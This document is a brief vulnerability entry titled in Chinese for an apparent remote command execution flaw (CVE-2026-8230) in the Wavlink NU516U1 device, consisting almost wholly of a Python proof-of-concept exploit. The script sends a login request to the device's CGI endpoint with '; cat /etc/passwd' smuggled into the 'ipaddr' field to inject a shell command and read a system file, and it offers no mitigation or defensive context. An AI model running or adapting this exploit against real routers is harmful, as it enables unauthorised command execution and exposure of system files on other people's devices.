CVE-2026-8230 Wavlink NU516U1 远程命令执行漏洞

import requests def exploit(target_ip, target_port=80): url = f"http://{target_ip}:{target_port}/cgi-bin/login.cgi" # Payload to inject command, e.g., `cat /etc/passwd` # Using semicolon to chain commands payload = "; cat /etc/passwd" # Simulating the vulnerable parameter 'ipaddr' data = { "username": "test", # Low privilege user as per PR:L "password": "test", "ipaddr": f"127.0.0.1{payload}" } headers = { "User-Agent": "Mozilla/5.0 (PoC-Scanner)", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP exploit(target)